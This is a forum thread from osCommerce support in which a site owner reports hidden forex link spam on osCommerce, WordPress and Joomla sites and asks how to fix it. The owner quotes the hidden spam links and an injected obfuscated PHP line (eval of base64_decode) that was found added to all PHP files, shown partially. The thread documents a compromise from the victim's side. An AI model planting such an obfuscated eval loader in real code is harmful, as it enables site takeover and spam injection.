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osCommerce

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Forex link spam on my websites


YinGaokao

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For the last two days, I noticed that there are some link spam on my websites. It is affecting

 

2 osCommerce v2.2 RC 2 :

- Ncardcanada.com/catalog

- Buy-acekard.com

Wordpress 2.8.4

- Ncardcanada.com/blog

Joomla 1.5

- Ncardcanada.com/joomla

 

 

The link spam is always placed right after the “body start” tag of right after the “html end” tag.

 

If you look at the html source code, you will notice something like :

<div style="display:none"><a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=0'>best forex system trading</a> <a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=1'>forex broker review</a> <a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=2'>forex economic calendar</a> <a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=3'>forex introducing broker</a> ………

 

I searched google for other infected website and noticed most (not all) are oscommerce website.

 

http://www.google.ca/search?hl=fr&clie...art=20&sa=N

 

How can I fix this

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If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

 

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."

- Me -

 

"Headers already sent" - The definitive help

 

"Cannot redeclare ..." - How to find/fix it

 

SSL Implementation Help

 

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I found out that all my php files were modified on 2009-09-22 at the same time, this line was added to all of them :

 

<?	/**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10p
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QvaW1hZ2VzL2ljb25zLzMyL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9uY2FyZGN
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9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTk
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X3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

 

Any idea how this was done ?

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Get a fresh pot of coffee ready (or whatever your beverage of choice is) and read this

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

 

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."

- Me -

 

"Headers already sent" - The definitive help

 

"Cannot redeclare ..." - How to find/fix it

 

SSL Implementation Help

 

Like this post? "Like" it again over there >

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No need for apology Tim.

 

I'm "offlline" all the time (truth be known)...

:wacko:

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

 

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."

- Me -

 

"Headers already sent" - The definitive help

 

"Cannot redeclare ..." - How to find/fix it

 

SSL Implementation Help

 

Like this post? "Like" it again over there >

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